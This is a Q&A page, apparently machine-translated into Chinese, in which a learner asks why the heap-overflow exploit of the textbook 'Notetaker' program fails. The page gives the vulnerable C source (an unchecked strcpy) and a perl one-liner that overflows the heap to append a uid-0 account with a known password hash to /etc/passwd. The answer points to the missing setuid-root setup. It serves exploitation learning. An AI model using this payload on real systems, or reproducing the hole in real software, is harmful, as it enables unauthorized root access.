Question

此问题涉及“黑客：剥削艺术”一书第155页的漏洞利用。这里，Notetaker程序用于将具有root权限的条目附加到/ etc / passwd文件中。 Notetaker.c的代码如下：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

void usage(char *prog_name, char *filename) {
   printf("Usage: %s <data to add to %s>\n", prog_name, filename);
   exit(0);
}

void fatal(char *);            // a function for fatal errors
void *ec_malloc(unsigned int); // an errorchecked malloc() wrapper

int main(int argc, char *argv[]) {
   int userid, fd; // file descriptor
   char *buffer, *datafile;

   buffer = (char *) ec_malloc(100);
   datafile = (char *) ec_malloc(20);
   strcpy(datafile, "/var/notes");

   if(argc < 2)                // If there aren't commandline arguments
      usage(argv[0], datafile); // display usage message and exit

   strcpy(buffer, argv[1]);  // copy into buffer

   printf("[DEBUG] buffer   @ %p: \'%s\'\n", buffer, buffer);
   printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);

 // Opening the file
   fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
   if(fd == -1)
      fatal("in main() while opening file");
   printf("[DEBUG] file descriptor is %d\n", fd);

   userid = getuid(); // get the real user ID

// Writing data
   if(write(fd, &userid, 4) == -1) // write user ID before note data
      fatal("in main() while writing userid to file");
   write(fd, "\n", 1); // terminate line

   if(write(fd, buffer, strlen(buffer)) == -1) // write note
      fatal("in main() while writing buffer to file");
   write(fd, "\n", 1); // terminate line

// Closing file
   if(close(fd) == -1)
      fatal("in main() while closing file");

   printf("Note has been saved.\n");
   free(buffer);
   free(datafile);
}

通过/ tmp / etc / passwd创建到/ bin / bash的软链接使用salt XX - XXq2wKiyI43A2将“password”作为默认密码并且用户ID为0-以获得root权限。该漏洞利用如下：

$ ./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 .
":/root:/tmp/etc/passwd"')

当我尝试这个时，我得到的只是一个致命的错误，同时打开文件说权限被拒绝。它似乎在本书中运行得很好，因为$ tail / etc / passwd显示了通过此漏洞提供root访问权限的新条目。请帮助。

Answer 1

您需要阅读第二章。它显示您通过chown和chmod u + s将所有者更改为root。第93页。

Notetaker漏洞利用问题

1 个答案: